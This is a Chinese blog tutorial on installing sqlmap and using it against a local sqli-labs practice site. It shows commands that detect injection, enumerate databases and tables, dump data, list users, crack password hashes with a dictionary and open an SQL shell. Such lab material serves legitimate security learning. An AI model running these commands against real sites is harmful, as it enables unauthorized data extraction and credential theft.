当前位置:网站首页 > 技术博客 > 正文

sqlmap下载安装教程



sqlmap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 url 的 sql 注入漏洞,内置了很多绕过插件,支持的数据库是 MySQL、Oracle、PostgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB。

sqlmap 采用的 sql 注入技术

  • 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
  • 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
  • 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
  • 联合查询注入。可以使用 union 的情况下的注入。
  • 堆查询注入。可以执行多条语句时的注入。

sqlmap官网下载 :http://sqlmap.org/
点击下载压缩包。
在这里插入图片描述
将文件解压在 python 的安装路径下。
如我的是在 E 盘的 Python27 文件夹下。
在这里插入图片描述
然后在 cmd 命令行里先进入这个目录,再执行语句。
为了方便,我们可以在桌面右键创建一个快捷方式。
对象位置填写 cmd 。
在这里插入图片描述
名称根据自己来定。
在这里插入图片描述
创建好后,打开这个快捷方式的属性,修改起始位置为 sqlmap 的文件路径。
在这里插入图片描述
这样点击快捷方式就已经在路径下了,不用每次 cd 进入文件路径。
然后输入命令:

sqlmap.py

可以看到 sqlmap 成功运行了。
我这里因为同时装了 python2 和python3 ,所以需要在语句前加上 python2 ,不然系统无法自己识别。
所以后面的命令测试都在前面加了 python2 ;如果只装了一个 python2 而没有装 python3 ,就可以不用加,直接 sqlmap.py 后面接命令。
在这里插入图片描述
——
——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1

如果注入点后面的参数大于等于两个时,需要加双引号,如:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1&uid=2 "

可以看到显示存在注入。
在这里插入图片描述

紧跟着上图,可以看到底下会有选择,会出现三个输入 [Y/n] ,一般默认按回车键即可。
第一处意为检测数据库可能是 MySQL ,是否需要跳过检测其他数据库;
第二处意为在“ level 、riskl ”的情况下,是否使用 MySQL 对应的所有 payload 进行检测;
第三处意为参数 id 存在漏洞,是否继续检测其他参数。
在这里插入图片描述
——

sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie 、post 数据等),
txt 文本中的内容为 web 数据包。
在这里插入图片描述
判断是否存在注入,构造命令( -r 一般在存在 cookie 注入时使用 ):
python2 sqlmap.py -r C:UsersGoodricDesktop/1.txt
在这里插入图片描述
——

用前面的命令确定网址存在注入点后,接下来可以利用确定了的注入点查询当前用户下的所有数据库。
(前提:当前用户有权限读取包含所有数据库列表学习的表)
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs

得到所有数据库名
在这里插入图片描述
——

查询出数据库名后,再查询指定数据库中的所有表名。
命令中 -D 参数用来指定某一个具体的数据库,如果不使用,就会列出所有数据库中的所有表。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys --tables

得到 sys 数据库中的 101 个表名。
在这里插入图片描述
——

命令中的 -T 时 --tables 的缩写。
得到 host_summary 表中的所有字段名。
在这里插入图片描述

后续的注入中,–columns 缩写成 -C ,就像前面的 --tables 缩写成 -T 。

——

查询完字段名后,再进行获取字段中的具体数据信息。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys -T host_summary -C host,statements -dump

得到字段 host 和 statements 的具体数据。
在这里插入图片描述
——

前提:当前用户有权限读取包含所有用户的表的权限。
使用该命令可以列出所有管理用户。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --users

得到数据库中的所有用户 。
在这里插入图片描述
——

如果当前用户有读取包含用户密码的权限,会先列举出用户,然后列出 Hash。
该命令的作用是列出数据库用户的密码。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --passwords

这里出现了几个选项。
第一个意为是否将哈希存储到临时文件,以便最终使用其他根据进行进一步处理。
第二个意为是否要对检索到的密码哈希执行基于字典的攻击。
第三处是选择用哪本字典:

[1]自带的字典(点击回车即可)
[2]自定义字典
[3]包含字典文件列表的文件
第四处意为是否使用通用密码后缀。

我这里是一直回车下去,即最终选择了自带的字典。
前两个用户名密码显示这不是可以在自带字典里使用的有效密码
得到第三个用户 root 的密码为 root 。
在这里插入图片描述
——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-db

得到当前网址数据库为 security 。
在这里插入图片描述
——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-user

得到用户为 root 。
在这里插入图片描述

参数 --level 5 指需要执行的测试等级,一共有 5 个等级(1~5),可不加 level ,则默认为 1 .

level 2 :cookie 注入
level 3:user-agent 、referer
level 5:host

5 级包含的 payload 最多,会自动激活成功教程出 cookie 、XFF 等头部注入,不过运行的速度也最慢。

——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --is-dba

可以看到结果为 True 或者 False 。
在这里插入图片描述

——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --roles

不过,该命令适用于当前数据库是 Oracle 的时候。
然后我这里测试数据库为 MySQL ,可以看到下图中出现黄色字体的警告,意为在 MySQL 上,roles 的概念不存在,不过 sqlmap 还是会为我们枚举权限,而不是获取数据库用户权限。
在这里插入图片描述
——

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --referer http://www.baidu.com

–sql-shell : 运行自定义 sql 语句
该命令用于指定的 sql 语句。
如要执行语句:

select * from users limit 0,1

先构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --sql-shell

执行了命令后,会给出一行让我们输入所要执行的命令,就在对我们的自定义命令进行执行。
在这里插入图片描述

  • 上一篇: 迈迪工具集正版多少钱
  • 下一篇: gevent django
  • 版权声明


    相关文章:

  • 迈迪工具集正版多少钱2025-01-24 21:01:01
  • rrt算法流程图2025-01-24 21:01:01
  • 消息队列 linux2025-01-24 21:01:01
  • 生成树的作用是什么?生成树有哪些类型?2025-01-24 21:01:01
  • java中的引用类型2025-01-24 21:01:01
  • gevent django2025-01-24 21:01:01
  • 计数排序和快速排序2025-01-24 21:01:01
  • 自动化测试app2025-01-24 21:01:01
  • 多层感知机和bp神经网络2025-01-24 21:01:01
  • 电脑上好用的电子书阅读软件2025-01-24 21:01:01